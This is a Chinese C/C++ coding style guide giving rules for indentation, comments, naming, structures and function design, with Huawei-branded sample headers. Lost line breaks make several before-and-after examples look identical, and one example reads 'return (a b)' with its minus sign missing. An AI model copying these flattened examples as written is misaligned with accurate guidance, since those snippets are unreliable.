1-9：函数或过程的开始、结构的定义及循环、判断等语句中的代码都要采用缩进 风格，case语句下的情况处理语句也要遵从语句缩进要求。 &sup1; 1-10：程序块的分界符（如C/C++语言的大括号‘{’和‘}’）应各独占一行并且 位于同一列，同时与引用它们的语句左对齐。在函数体的开始、类的定义、结构的定义、 枚举的定义以及if、for、do、while、switch、case语句中的程序都要采用如上的缩进方 式。 示例：如下例子不符合规范。 for (...) { ... // program code } if (...) { ... // program code } void example_fun( void ) { ... // program code } 应如下书写。 for (...) { ... // program code } if (...) { ... // program code } void example_fun( void ) { ... // program code } &sup1; 1-11：在两个以上的关键字、变量、常量进行对等操作时，它们之间的操作符之前 、之后或者前后要加空格；进行非对等操作时，如果是关系密切的立即操作符（如－>）， 后不应加空格。 说明：采用这种松散方式编写代码的目的是使代码更加清晰。 由于留空格所产生的清晰性是相对的，所以，在已经非常清晰的语句中没有必要再留空格 ，如果语句已足够清晰则括号内侧(即左括号后面和右括号前面)不需要加空格，多重括号 间不必加空格，因为在C/C++语言中括号已经是最清晰的标志了。 在长语句中，如果需要加的空格非常多，那么应该保持整体清晰，而在局部不加空格。给 操作符留空格时不要连续留两个以上空格。 示例： (1) 逗号、分号只在后面加空格。 int a, b, c; (2)比较操作符, 赋值操作符"="、 "+="，算术操作符"+"、"%"，逻辑操作符"&&"、"&"， 位域操作符"<<"、"^"等双目操作符的前后加空格。 if (current_time >= MAX_TIME_VALUE) a = b + c; a *= 2; a = b ^ 2; (3)"!"、"~"、"++"、"--"、"&"（地址运算符）等单目操作符前后不加空格。 *p = 'a'; // 内容操作"*"与内容之间 flag = !isEmpty; // 非操作"!"与内容之间 p = &mem; // 地址操作"&" 与内容之间 i++; // "++","--"与内容之间 (4)"->"、"."前后不加空格。 p->id = pid; // "->"指针前后不加空格 (5) if、for、while、switch等与后面的括号间应加空格，使if等关键字更为突出、明显 。 if (a >= b && c > d) &frac12; 1-1：一行程序以小于80字符为宜，不要写得过长。 2 注释 &sup1; 2-1：一般情况下，源程序有效注释量必须在20％以上。 说明：注释的原则是有助于对程序的阅读理解，在该加的地方都加了，注释不宜太多也不 能太少，注释语言必须准确、易懂、简洁。 &sup1; 2-2：说明性文件（如头文件.h文件、.inc文件、.def文件、编译说明文件.cfg等 ）头部应进行注释，注释必须列出：版权说明、版本号、生成日期、作者、内容、功能、 与其它文件的关系、修改日志等，头文件的注释中还应有函数功能简要说明。 示例：下面这段头文件的头注释比较标准，当然，并不局限于此格式，但上述信息建议要 包含在内。 /************************************************* Copyright (C), 1988-1999, Huawei Tech. Co., Ltd. File name: // 文件名 Author: Version: Date: // 作者、版本及完成日期 Description: // 用于详细说明此程序文件完成的主要功能，与其他模块 // 或函数的接口，输出值、取值范围、含义及参数间的控 // 制、顺序、独立或依赖等关系 Others: // 其它内容的说明 Function List: // 主要函数列表，每条记录应包括函数名及功能简要说明 1. .... History: // 修改历史记录列表，每条修改记录应包括修改日期、修改 // 者及修改内容简述 1. Date: Author: Modification: 2. ... *************************************************/ &sup1; 2-3：源文件头部应进行注释，列出：版权说明、版本号、生成日期、作者、模块 目的/功能、主要函数及其功能、修改日志等。 示例：下面这段源文件的头注释比较标准，当然，并不局限于此格式，但上述信息建议要 包含在内。 /************************************************************ Copyright (C), 1988-1999, Huawei Tech. Co., Ltd. FileName: test.cpp Author: Version : Date: Description: // 模块描述 Version: // 版本信息 Function List: // 主要函数及其功能 1. ------- History: // 历史修改记录 <author> <time> <version > <desc> David 96/10/12 1.0 build this moudle ***********************************************************/ 说明：Description一项描述本文件的内容、功能、内部各部分之间的关系及本文件与其它 文件关系等。History是修改历史记录列表，每条修改记录应包括修改日期、修改者及修改 内容简述。 &sup1; 2-4：函数头部应进行注释，列出：函数的目的/功能、输入参数、输出参数、返回 值、调用关系（函数、表）等。 示例：下面这段函数的注释比较标准，当然，并不局限于此格式，但上述信息建议要包含 在内。 /************************************************* Function: // 函数名称 Description: // 函数功能、性能等的描述 Calls: // 被本函数调用的函数清单 Called By: // 调用本函数的函数清单 Table Accessed: // 被访问的表（此项仅对于牵扯到数据库操作的程序） Table Updated: // 被修改的表（此项仅对于牵扯到数据库操作的程序） Input: // 输入参数说明，包括每个参数的作 // 用、取值说明及参数间关系。 Output: // 对输出参数的说明。 Return: // 函数返回值的说明 Others: // 其它说明 *************************************************/ &sup1; 2-5：边写代码边注释，修改代码同时修改相应的注释，以保证注释与代码的一致 性。不再有用的注释要删除。 &sup1; 2-6：注释的内容要清楚、明了，含义准确，防止注释二义性。 说明：错误的注释不但无益反而有害。 规则2-7：避免在注释中使用缩写，特别是非常用缩写。 说明：在使用缩写时或之前，应对缩写进行必要的说明。 &sup1; 2-8：注释应与其描述的代码相近，对代码的注释应放在其上方或右方（对单条语 句的注释）相邻位置，不可放在下面，如放于上方则需与其上面的代码用空行隔开。 示例：如下例子不符合规范。 例1： /* get replicate sub system index and net indicator */ repssn_ind = ssn_data[index].repssn_index; repssn_ni = ssn_data[index].ni; 例2： repssn_ind = ssn_data[index].repssn_index; repssn_ni = ssn_data[index].ni; /* get replicate sub system index and net indicator */ 应如下书写 /* get replicate sub system index and net indicator */ repssn_ind = ssn_data[index].repssn_index; repssn_ni = ssn_data[index].ni; &sup1; 2-9：对于所有有物理含义的变量、常量，如果其命名不是充分自注释的，在声明 时都必须加以注释，说明其物理含义。变量、常量、宏的注释应放在其上方相邻位置或右 方。 示例： /* active statistic task number */ #define MAX_ACT_TASK_NUMBER 1000 #define MAX_ACT_TASK_NUMBER 1000 /* active statistic task number */ &sup1; 2-10：数据结构声明(包括数组、结构、类、枚举等)，如果其命名不是充分自注释 的，必须加以注释。对数据结构的注释应放在其上方相邻位置，不可放在下面；对结构中 的每个域的注释放在此域的右方。 示例：可按如下形式说明枚举/数据/联合结构。 /* sccp interface with sccp user primitive message name */ enum SCCP_USER_PRIMITIVE { N_UNITDATA_IND, /* sccp notify sccp user unit data come */ N_NOTICE_IND, /* sccp notify user the No.7 network can not */ /* transmission this message */ N_UNITDATA_REQ, /* sccp user's unit data transmission request*/ }; &sup1; 2-11：全局变量要有较详细的注释，包括对其功能、取值范围、哪些函数或过程存 取它以及存取时注意事项等的说明。 示例： /* The ErrorCode when SCCP translate */ /* Global Title failure, as follows */ // 变量作用、含义 /* 0 － SUCCESS 1 － GT Table error */ /* 2 － GT error Others － no use */ // 变量取值范围 /* only function SCCPTranslate() in */ /* this modual can modify it, and other */ /* module can visit it through call */ /* the function GetGTTransErrorCode() */ // 使用方法 BYTE g_GTTranErrorCode; &sup1; 2-12：注释与所描述内容进行同样的缩排。 说明：可使程序排版整齐，并方便注释的阅读与理解。 示例：如下例子，排版不整齐，阅读稍感不方便。 void example_fun( void ) { /* code one comments */ CodeBlock One /* code two comments */ CodeBlock Two } 应改为如下布局。 void example_fun( void ) { /* code one comments */ CodeBlock One /* code two comments */ CodeBlock Two } &sup1; 2-13：将注释与其上面的代码用空行隔开。 示例：如下例子，显得代码过于紧凑。 /* code one comments */ program code one /* code two comments */ program code two 应如下书写 /* code one comments */ program code one /* code two comments */ program code two &sup1; 2-14：对变量的定义和分支语句（条件分支、循环语句等）必须编写注释。 说明：这些语句往往是程序实现某一特定功能的关键，对于维护人员来说，良好的注释帮 助更好的理解程序，有时甚至优于看设计文档。 &sup1; 2-15：对于switch语句下的case语句，如果因为特殊情况需要处理完一个case后进 入下一个case处理，必须在该case语句处理完、下一个case语句前加上明确的注释。 说明：这样比较清楚程序编写者的意图，有效防止无故遗漏break语句。 示例（注意斜体加粗部分）： case CMD_UP: ProcessUp(); break; case CMD_DOWN: ProcessDown(); break; case CMD_FWD: ProcessFwd(); if (...) { ... break; } else { ProcessCFW_B(); // now jump into case CMD_A } case CMD_A: ProcessA(); break; case CMD_B: ProcessB(); break; case CMD_C: ProcessC(); break; case CMD_D: ProcessD(); break; ... &frac12; 2-1：避免在一行代码或表达式的中间插入注释。 说明：除非必要，不应在代码或表达中间插入注释，否则容易使代码可理解性变差。 &frac12; 2-2：通过对函数或过程、变量、结构等正确的命名以及合理地组织代码的结构 ，使代码成为自注释的。 说明：清晰准确的函数、变量等的命名，可增加代码可读性，并减少不必要的注释。 &frac12; 2-3：在代码的功能、意图层次上进行注释，提供有用、额外的信息。 说明：注释的目的是解释代码的目的、功能和采用的方法，提供代码以外的信息，帮助读 者理解代码，防止没必要的重复注释信息。 示例：如下注释意义不大。 /* if receive_flag is TRUE */ if (receive_flag) 而如下的注释则给出了额外有用的信息。 /* if mtp receive a message from links */ if (receive_flag) &frac12; 2-4：在程序块的结束行右方加注释标记，以表明某程序块的结束。 说明：当代码段较长，特别是多重嵌套时，这样做可以使代码更清晰，更便于阅读。 示例：参见如下例子。 if (...) { // program code while (index < MAX_INDEX) { // program code } /* end of while (index < MAX_INDEX) */ // 指明该条while语句结束 } /* end of if (...)*/ // 指明是哪条if语句结束 &frac12; 2-5：注释格式尽量统一，建议使用“/* ⋯⋯ */”。 &frac12; 2-6：注释应考虑程序易读及外观排版的因素，使用的语言若是中、英兼有的， 建议多使用中文，除非能用非常流利准确的英文表达。 说明：注释语言不统一，影响程序易读性和外观排版，出于对维护人员的考虑，建议使用 中文。 3 标识符命名 &sup1; 3-1：标识符的命名要清晰、明了，有明确含义，同时使用完整的单词或大家基本 可以理解的缩写，避免使人产生误解。 说明：较短的单词可通过去掉“元音”形成缩写；较长的单词可取单词的头几个字母形成 缩写；一些单词有大家公认的缩写。 示例：如下单词的缩写能够被大家基本认可。 temp 可缩写为 tmp ; flag 可缩写为 flg ; statistic 可缩写为 stat ; increment 可缩写为 inc ; message 可缩写为 msg ; &sup1; 3-2：命名中若使用特殊约定或缩写，则要有注释说明。 说明：应该在源文件的开始之处，对文件中所使用的缩写或约定，特别是特殊的缩写，进 行必要的注释说明。 &sup1; 3-3：自己特有的命名风格，要自始至终保持一致，不可来回变化。 说明：个人的命名风格，在符合所在项目组或产品组的命名规则的前提下，才可使用。（ 即命名规则中没有规定到的地方才可有个人命名风格）。 &sup1; 3-4：对于变量命名，禁止取单个字符（如i、j、k...），建议除了要有具体含义 外，还能表明其变量类型、数据类型等，但i、j、k作局部循环变量是允许的。 说明：变量，尤其是局部变量，如果用单个字符表示，很容易敲错（如i写成j），而编译 时又检查不出来，有可能为了这个小小的错误而花费大量的查错时间。 示例：下面所示的局部变量名的定义方法可以借鉴。 int liv_Width 其变量名解释如下： l 局部变量（Local） （其它：g 全局变量（Global）...） i 数据类型（Interger） v 变量（Variable） （其它：c 常量（Const）...） Width 变量含义 这样可以防止局部变量与全局变量重名。 &sup1; 3-5：命名规范必须与所使用的系统风格保持一致，并在同一项目中统一，比如采 用UNIX的全小写加下划线的风格或大小写混排的方式，不要使用大小写与下划线混排的方 式，用作特殊标识如标识成员变量或全局变量的m_和g_，其后加上大小写混排的方式是允 许的。 示例： Add_User不允许，add_user、AddUser、m_AddUser允许。 &frac12; 3-1：除非必要，不要用数字或较奇怪的字符来定义标识符。 示例：如下命名，使人产生疑惑。 #define _EXAMPLE_0_TEST_ #define _EXAMPLE_1_TEST_ void set_sls00( BYTE sls ); 应改为有意义的单词命名 #define _EXAMPLE_UNIT_TEST_ #define _EXAMPLE_ASSERT_TEST_ void set_udt_msg_sls( BYTE sls ); &frac12; 3-2：在同一软件产品内，应规划好接口部分标识符（变量、结构、函数及常量 ）的命名，防止编译、链接时产生冲突。 说明：对接口部分的标识符应该有更严格限制，防止冲突。如可规定接口部分的变量与常 量之前加上“模块”标识等。 &frac12; 3-3：用正确的反义词组命名具有互斥意义的变量或相反动作的函数等。 说明：下面是一些在软件中常用的反义词组。 add / remove begin / end create / destroy insert / delete first / last get / release increment / decrement put / get add / delete lock / unlock open / close min / max old / new start / stop next / previous source / target show / hide send / receive source / destination cut / paste up / down 示例： int min_sum; int max_sum; int add_user( BYTE *user_name ); int delete_user( BYTE *user_name ); &frac12; 3-4：除了编译开关/头文件等特殊应用，应避免使用_EXAMPLE_TEST_之类以下划 线开始和结尾的定义。 4 可读性 &sup1; 4-1：注意运算符的优先级，并用括号明确表达式的操作顺序，避免使用默认优先 级。 说明：防止阅读程序时产生误解，防止因默认的优先级与设计思想不符而导致程序出错。 示例：下列语句中的表达式 word = (high << 8) | low (1) if ((a | b) && (a & c)) (2) if ((a | b) < (c & d)) (3) 如果书写为 high << 8 | low a | b && a & c a | b < c & d 由于 high << 8 | low = ( high << 8) | low, a | b && a & c = (a | b) && (a & c)， (1)(2)不会出错，但语句不易理解； a | b < c & d = a | （b < c） & d，(3)造成了判断条件出错。 &sup1; 4-2：避免使用不易理解的数字，用有意义的标识来替代。涉及物理状态或者含有 物理意义的常量，不应直接使用数字，必须用有意义的枚举或宏来代替。 示例：如下的程序可读性差。 if (Trunk[index].trunk_state == 0) { Trunk[index].trunk_state = 1; ... // program code } 应改为如下形式。 #define TRUNK_IDLE 0 #define TRUNK_BUSY 1 if (Trunk[index].trunk_state == TRUNK_IDLE) { Trunk[index].trunk_state = TRUNK_BUSY; ... // program code } &frac12; 4-1：源程序中关系较为紧密的代码应尽可能相邻。 说明：便于程序阅读和查找。 示例：以下代码布局不太合理。 rect.length = 10; char_poi = str; rect.width = 5; 若按如下形式书写，可能更清晰一些。 rect.length = 10; rect.width = 5; // 矩形的长与宽关系较密切，放在一起。 char_poi = str; &frac12; 4-2：不要使用难懂的技巧性很高的语句，除非很有必要时。 说明：高技巧语句不等于高效率的程序，实际上程序的效率关键在于算法。 示例：如下表达式，考虑不周就可能出问题，也较难理解。 * stat_poi ++ += 1; * ++ stat_poi += 1; 应分别改为如下。 *stat_poi += 1; stat_poi++; // 此二语句功能相当于“ * stat_poi ++ += 1; ” ++ stat_poi; *stat_poi += 1; // 此二语句功能相当于“ * ++ stat_poi += 1; ” 5 变量、结构 &sup1; 5-1：去掉没必要的公共变量。 说明：公共变量是增大模块间耦合的原因之一，故应减少没必要的公共变量以降低模块间 的耦合度。 &sup1; 5-2：仔细定义并明确公共变量的含义、作用、取值范围及公共变量间的关系。 说明：在对变量声明的同时，应对其含义、作用及取值范围进行注释说明，同时若有必要 还应说明与其它变量的关系。 &sup1; 5-3：明确公共变量与操作此公共变量的函数或过程的关系，如访问、修改及创建 等。 说明：明确过程操作变量的关系后，将有利于程序的进一步优化、单元测试、系统联调以 及代码维护等。这种关系的说明可在注释或文档中描述。 示例：在源文件中，可按如下注释形式说明。 RELATION System_Init Input_Rec Print_Rec Stat_Score Student Create Modify Access Access Score Create Modify Access Access, Modify 注：RELATION为操作关系；System_Init、Input_Rec、Print_Rec、Stat_Score为四个不同 的函数；Student、Score为两个全局变量；Create表示创建，Modify表示修改，Access表 示访问。 其中，函数Input_Rec、Stat_Score都可修改变量Score，故此变量将引起函数间较大的耦 合，并可能增加代码测试、维护的难度。 &sup1; 5-4：当向公共变量传递数据时，要十分小心，防止赋与不合理的值或越界等现象 发生。 说明：对公共变量赋值时，若有必要应进行合法性检查，以提高代码的可靠性、稳定性。 &sup1; 5-5：防止局部变量与公共变量同名。 说明：若使用了较好的命名规则，那么此问题可自动消除。 &sup1; 5-6：严禁使用未经初始化的变量作为右值。 说明：特别是在C/C++中引用未经赋值的指针，经常会引起系统崩溃。 &frac12; 5-1：构造仅有一个模块或函数可以修改、创建，而其余有关模块或函数只访问 的公共变量，防止多个不同模块或函数都可以修改、创建同一公共变量的现象。 说明：降低公共变量耦合度。 &frac12; 5-2：使用严格形式定义的、可移植的数据类型，尽量不要使用与具体硬件或软 件环境关系密切的变量。 说明：使用标准的数据类型，有利于程序的移植。 示例：如下例子（在DOS下BC3.1环境中），在移植时可能产生问题。 void main() { register int index; // 寄存器变量 _AX = 0x4000; // _AX是BC3.1提供的寄存器“伪变量” ... // program code } &frac12; 5-3：结构的功能要单一，是针对一种事务的抽象。 说明：设计结构时应力争使结构代表一种现实事务的抽象，而不是同时代表多种。结构中 的各元素应代表同一事务的不同侧面，而不应把描述没有关系或关系很弱的不同事务的元 素放到同一结构中。 示例：如下结构不太清晰、合理。 typedef struct STUDENT_STRU { unsigned char name[8]; /* student's name */ unsigned char age; /* student's age */ unsigned char sex; /* student's sex, as follows */ /* 0 - FEMALE; 1 - MALE */ unsigned char teacher_name[8]; /* the student teacher's name */ unisgned char teacher_sex; /* his teacher sex */ } STUDENT; 若改为如下，可能更合理些。 typedef struct TEACHER_STRU { unsigned char name[8]; /* teacher name */ unisgned char sex; /* teacher sex, as follows */ /* 0 - FEMALE; 1 - MALE */ } TEACHER; typedef struct STUDENT_STRU { unsigned char name[8]; /* student's name */ unsigned char age; /* student's age */ unsigned char sex; /* student's sex, as follows */ /* 0 - FEMALE; 1 - MALE */ unsigned int teacher_ind; /* his teacher index */ } STUDENT; &frac12; 5-4：不要设计面面俱到、非常灵活的数据结构。 说明：面面俱到、灵活的数据结构反而容易引起误解和操作困难。 &frac12; 5-5：不同结构间的关系不要过于复杂。 说明：若两个结构间关系较复杂、密切，那么应合为一个结构。 示例：如下两个结构的构造不合理。 typedef struct PERSON_ONE_STRU { unsigned char name[8]; unsigned char addr[40]; unsigned char sex; unsigned char city[15]; } PERSON_ONE; typedef struct PERSON_TWO_STRU { unsigned char name[8]; unsigned char age; unsigned char tel; } PERSON_TWO; 由于两个结构都是描述同一事物的，那么不如合成一个结构。 typedef struct PERSON_STRU { unsigned char name[8]; unsigned char age; unsigned char sex; unsigned char addr[40]; unsigned char city[15]; unsigned char tel; } PERSON; &frac12; 5-6：结构中元素的个数应适中。若结构中元素个数过多可考虑依据某种原则把 元素组成不同的子结构，以减少原结构中元素的个数。 说明：增加结构的可理解性、可操作性和可维护性。 示例：假如认为如上的_PERSON结构元素过多，那么可如下对之划分。 typedef struct PERSON_BASE_INFO_STRU { unsigned char name[8]; unsigned char age; unsigned char sex; } PERSON_BASE_INFO; typedef struct PERSON_ADDRESS_STRU { unsigned char addr[40]; unsigned char city[15]; unsigned char tel; } PERSON_ADDRESS; typedef struct PERSON_STRU { PERSON_BASE_INFO person_base; PERSON_ADDRESS person_addr; } PERSON; &frac12; 5-7：仔细设计结构中元素的布局与排列顺序，使结构容易理解、节省占用空间 ，并减少引起误用现象。 说明：合理排列结构中元素顺序，可节省空间并增加可理解性。 示例：如下结构中的位域排列，将占较大空间，可读性也稍差。 typedef struct EXAMPLE_STRU { unsigned int valid: 1; PERSON person; unsigned int set_flg: 1; } EXAMPLE; 若改成如下形式，不仅可节省1字节空间，可读性也变好了。 typedef struct EXAMPLE_STRU { unsigned int valid: 1; unsigned int set_flg: 1; PERSON person ; } EXAMPLE; &frac12; 5-8：结构的设计要尽量考虑向前兼容和以后的版本升级，并为某些未来可能的 应用保留余地（如预留一些空间等）。 说明：软件向前兼容的特性，是软件产品是否成功的重要标志之一。如果要想使产品具有 较好的前向兼容，那么在产品设计之初就应为以后版本升级保留一定余地，并且在产品升 级时必须考虑前一版本的各种特性。 &frac12; 5-9：留心具体语言及编译器处理不同数据类型的原则及有关细节。 说明：如在C语言中，static局部变量将在内存“数据区”中生成，而非static局部变量将 在“堆栈”中生成。这些细节对程序质量的保证非常重要。 &frac12; 5-10：编程时，要注意数据类型的强制转换。 说明：当进行数据类型强制转换时，其数据的意义、转换后的取值等都有可能发生变化， 而这些细节若考虑不周，就很有可能留下隐患。 &frac12; 5-11：对编译系统默认的数据类型转换，也要有充分的认识。 示例：如下赋值，多数编译器不产生告警，但值的含义还是稍有变化。 char chr; unsigned short int exam; chr = -1; exam = chr; // 编译器不产生告警，此时exam为0xFFFF。 &frac12; 5-12：尽量减少没有必要的数据类型默认转换与强制转换。 &frac12; 5-13：合理地设计数据并使用自定义数据类型，避免数据间进行不必要的类型转 换。 &frac12; 5-14：对自定义数据类型进行恰当命名，使它成为自描述性的，以提高代码可读 性。注意其命名方式在同一产品中的统一。 说明：使用自定义类型，可以弥补编程语言提供类型少、信息量不足的缺点，并能使程序 清晰、简洁。 示例：可参考如下方式声明自定义数据类型。 下面的声明可使数据类型的使用简洁、明了。 typedef unsigned char BYTE; typedef unsigned short WORD; typedef unsigned int DWORD; 下面的声明可使数据类型具有更丰富的含义。 typedef float DISTANCE; typedef float SCORE; &frac12; 5-15：当声明用于分布式环境或不同CPU间通信环境的数据结构时，必须考虑机 器的字节顺序、使用的位域及字节对齐等问题 。 说明：比如Intel CPU与68360 CPU，在处理位域及整数时，其在内存存放的“顺序”正好 相反。 示例：假如有如下短整数及结构。 unsigned short int exam; typedef struct EXAM_BIT_STRU { /* Intel 68360 */ unsigned int A1: 1; /* bit 0 7 */ unsigned int A2: 1; /* bit 1 6 */ unsigned int A3: 1; /* bit 2 5 */ } EXAM_BIT; 如下是Intel CPU生成短整数及位域的方式。 内存： 0 1 2 ... （从低到高，以字节为单位） exam exam低字节 exam高字节 内存： 0 bit 1 bit 2 bit ... （字节的各“位”） EXAM_BIT A1 A2 A3 如下是68360 CPU生成短整数及位域的方式。 内存： 0 1 2 ... （从低到高，以字节为单位） exam exam高字节 exam低字节 内存： 7 bit 6 bit 5 bit ... （字节的各“位”） EXAM_BIT A1 A2 A3 说明：在对齐方式下，CPU的运行效率要快得多。 示例：如下图，当一个long型数（如图中long1）在内存中的位置正好与内存的字边界对齐 时，CPU存取这个数只需访问一次内存，而当一个long型数（如图中的long2）在内存中的 位置跨越了字边界时，CPU存取这个数就需要多次访问内存，如i960cx访问这样的数需读内 存三次（一个BYTE、一个SHORT、一个BYTE，由CPU的微代码执行，对软件透明），所有对 齐方式下CPU的运行效率明显快多了。 1 8 16 24 32 ------- ------- ------- ------- | long1 | long1 | long1 | long1 | ------- ------- ------- ------- | | | | long2 | ------- ------- ------- -------- | long2 | long2 | long2 | | ------- ------- ------- -------- | .... 6 函数、过程 &sup1; 6-1：对所调用函数的错误返回码要仔细、全面地处理。 &sup1; 6-2：明确函数功能，精确（而不是近似）地实现函数设计。 &sup1; 6-3：编写可重入函数时，应注意局部变量的使用（如编写C/C++语言的可重入函数 时，应使用auto即缺省态局部变量或寄存器变量）。 说明：编写C/C++语言的可重入函数时，不应使用static局部变量，否则必须经过特殊处理 ，才能使函数具有可重入性。 &sup1; 6-4：编写可重入函数时，若使用全局变量，则应通过关中断、信号量（即P、V操 作）等手段对其加以保护。 说明：若对所使用的全局变量不加以保护，则此函数就不具有可重入性，即当多个进程调 用此函数时，很有可能使有关全局变量变为不可知状态。 示例：假设Exam是int型全局变量，函数Squre_Exam返回Exam平方值。那么如下函数不具有 可重入性。 unsigned int example( int para ) { unsigned int temp; Exam = para; // （**） temp = Square_Exam( ); return temp; } 此函数若被多个进程调用的话，其结果可能是未知的，因为当（**）语句刚执行完后，另 外一个使用本函数的进程可能正好被激活，那么当新激活的进程执行到此函数时，将使Ex am赋与另一个不同的para值，所以当控制重新回到“temp = Square_Exam( )”后，计算出 的temp很可能不是预想中的结果。此函数应如下改进。 unsigned int example( int para ) { unsigned int temp; [申请信号量操作] // 若申请不到“信号量”，说明另外的进程正处于 Exam = para; // 给Exam赋值并计算其平方过程中（即正在使用此 temp = Square_Exam( ); // 信号），本进程必须等待其释放信号后，才可继 [释放信号量操作] // 续执行。若申请到信号，则可继续执行，但其 // 它进程必须等待本进程释放信号量后，才能再使 // 用本信号。 return temp; } &sup1; 6-5：在同一项目组应明确规定对接口函数参数的合法性检查应由函数的调用者负 责还是由接口函数本身负责，缺省是由函数调用者负责。 说明：对于模块间接口函数的参数的合法性检查这一问题，往往有两个极端现象，即：要 么是调用者和被调用者对参数均不作合法性检查，结果就遗漏了合法性检查这一必要的处 理过程，造成问题隐患；要么就是调用者和被调用者均对参数进行合法性检查，这种情况 虽不会造成问题，但产生了冗余代码，降低了效率。 &frac12; 6-1：防止将函数的参数作为工作变量。 说明：将函数的参数作为工作变量，有可能错误地改变参数内容，所以很危险。对必须改 变的参数，最好先用局部变量代之，最后再将该局部变量的内容赋给该参数。 示例：下函数的实现不太好。 void sum_data( unsigned int num, int *data, int *sum ) { unsigned int count; *sum = 0; for (count = 0; count < num; count++) { *sum += data[count]; // sum成了工作变量，不太好。 } } 若改为如下，则更好些。 void sum_data( unsigned int num, int *data, int *sum ) { unsigned int count ; int sum_temp; sum_temp = 0; for (count = 0; count < num; count ++) { sum_temp += data[count]; } *sum = sum_temp; } &frac12; 6-2：函数的规模尽量限制在200行以内。 说明：不包括注释和空格行。 &frac12; 6-3：一个函数仅完成一件功能。 &frac12; 6-4：为简单功能编写函数。 说明：虽然为仅用一两行就可完成的功能去编函数好象没有必要，但用函数可使功能明确 化，增加程序可读性，亦可方便维护、测试。 示例：如下语句的功能不很明显。 value = ( a > b ) ? a : b ; 改为如下就很清晰了。 int max (int a, int b) { return ((a > b) ? a : b); } value = max (a, b); 或改为如下。 #define MAX (a, b) (((a) > (b)) ? (a) : (b)) value = MAX (a, b); &frac12; 6-5：不要设计多用途面面俱到的函数。 说明：多功能集于一身的函数，很可能使函数的理解、测试、维护等变得困难。 &frac12; 6-6：函数的功能应该是可以预测的，也就是只要输入数据相同就应产生同样的 输出。 说明：带有内部“存储器”的函数的功能可能是不可预测的，因为它的输出可能取决于内 部存储器（如某标记）的状态。这样的函数既不易于理解又不利于测试和维护。在C/C++语 言中，函数的static局部变量是函数的内部存储器，有可能使函数的功能不可预测，然而 ，当某函数的返回值为指针类型时，则必须是STATIC的局部变量的地址作为返回值，若为 AUTO类，则返回为错针。 示例：如下函数，其返回值（即功能）是不可预测的。 unsigned int integer_sum( unsigned int base ) { unsigned int index; static unsigned int sum = 0; // 注意，是static类型的。 // 若改为auto类型，则函数即变为可预测。 for (index = 1; index <= base; index++) { sum += index; } return sum; } &frac12; 6-7：尽量不要编写依赖于其他函数内部实现的函数。 说明：此条为函数独立性的基本要求。由于目前大部分高级语言都是结构化的，所以通过 具体语言的语法要求与编译器功能，基本就可以防止这种情况发生。但在汇编语言中，由 于其灵活性，很可能使函数出现这种情况。 示例：如下是在DOS下TASM的汇编程序例子。过程Print_Msg的实现依赖于Input_Msg的具体 实现，这种程序是非结构化的，难以维护、修改。 ... // 程序代码 proc Print_Msg // 过程（函数）Print_Msg ... // 程序代码 jmp LABEL ... // 程序代码 endp proc Input_Msg // 过程（函数）Input_Msg ... // 程序代码 LABEL: ... // 程序代码 endp &frac12; 6-8：避免设计多参数函数，不使用的参数从接口中去掉。 说明：目的减少函数间接口的复杂度。 &frac12; 6-9：非调度函数应减少或防止控制参数，尽量只使用数据参数。 说明：本建议目的是防止函数间的控制耦合。调度函数是指根据输入的消息类型或控制命 令，来启动相应的功能实体（即函数或过程），而本身并不完成具体功能。控制参数是指 改变函数功能行为的参数，即函数要根据此参数来决定具体怎样工作。非调度函数的控制 参数增加了函数间的控制耦合，很可能使函数间的耦合度增大，并使函数的功能不唯一。 示例：如下函数构造不太合理。 int add_sub( int a, int b, unsigned char add_sub_flg ) { if (add_sub_flg == INTEGER_ADD) { return (a + b); } else { return (a b); } } 不如分为如下两个函数清晰。 int add( int a, int b ) { return (a + b); } int sub( int a, int b ) { return (a b); } &frac12; 6-10：检查函数所有参数输入的有效性。 &frac12; 6-11：检查函数所有非参数输入的有效性，如数据文件、公共变量等。 说明：函数的输入主要有两种：一种是参数输入；另一种是全局变量、数据文件的输入， 即非参数输入。函数在使用输入之前，应进行必要的检查。 &frac12; 6-12：函数名应准确描述函数的功能。 &frac12; 6-13：使用动宾词组为执行某操作的函数命名。如果是OOP方法，可以只有动词 （名词是对象本身）。 示例：参照如下方式命名函数。 void print_record( unsigned int rec_ind ) ; int input_record( void ) ; unsigned char get_current_color( void ) ; 建议6-14：避免使用无意义或含义不清的动词为函数命名。 说明：避免用含义不清的动词如process、handle等为函数命名，因为这些动词并没有说明 要具体做什么。 建议6-15：函数的返回值要清楚、明了，让使用者不容易忽视错误情况。 说明：函数的每种出错返回值的意义要清晰、明了、准确，防止使用者误用、理解错误或 忽视错误返回码。 &frac12; 6-16：除非必要，最好不要把与函数返回值类型不同的变量，以编译系统默认的 转换方式或强制的转换方式作为返回值返回。 &frac12; 6-17：让函数在调用点显得易懂、容易理解。 &frac12; 6-18：在调用函数填写参数时，应尽量减少没有必要的默认数据类型转换或强制 数据类型转换。 说明：因为数据类型转换或多或少存在危险。 &frac12; 6-19：避免函数中不必要语句，防止程序中的垃圾代码。 说明：程序中的垃圾代码不仅占用额外的空间，而且还常常影响程序的功能与性能，很可 能给程序的测试、维护等造成不必要的麻烦。 &frac12; 6-20：防止把没有关联的语句放到一个函数中。 说明：防止函数或过程内出现随机内聚。随机内聚是指将没有关联或关联很弱的语句放到 同一个函数或过程中。随机内聚给函数或过程的维护、测试及以后的升级等造成了不便， 同时也使函数或过程的功能不明确。使用随机内聚函数，常常容易出现在一种应用场合需 要改进此函数，而另一种应用场合又不允许这种改进，从而陷入困境。 在编程时，经常遇到在不同函数中使用相同的代码，许多开发人员都愿把这些代码提出来 ，并构成一个新函数。若这些代码关联较大并且是完成一个功能的，那么这种构造是合理 的，否则这种构造将产生随机内聚的函数。 示例：如下函数就是一种随机内聚。 void Init_Var( void ) { Rect.length = 0; Rect.width = 0; /* 初始化矩形的长与宽 */ Point.x = 10; Point.y = 10; /* 初始化“点”的坐标 */ } 矩形的长、宽与点的坐标基本没有任何关系，故以上函数是随机内聚。 应如下分为两个函数： void Init_Rect( void ) { Rect.length = 0; Rect.width = 0; /* 初始化矩形的长与宽 */ } void Init_Point( void ) { Point.x = 10; Point.y = 10; /* 初始化“点”的坐标 */ } &frac12; 6-21：如果多段代码重复做同一件事情，那么在函数的划分上可能存在问题。 说明：若此段代码各语句之间有实质性关联并且是完成同一件功能的，那么可考虑把此段 代码构造成一个新的函数。 &frac12; 6-22：功能不明确较小的函数，特别是仅有一个上级函数调用它时，应考虑把它 合并到上级函数中，而不必单独存在。 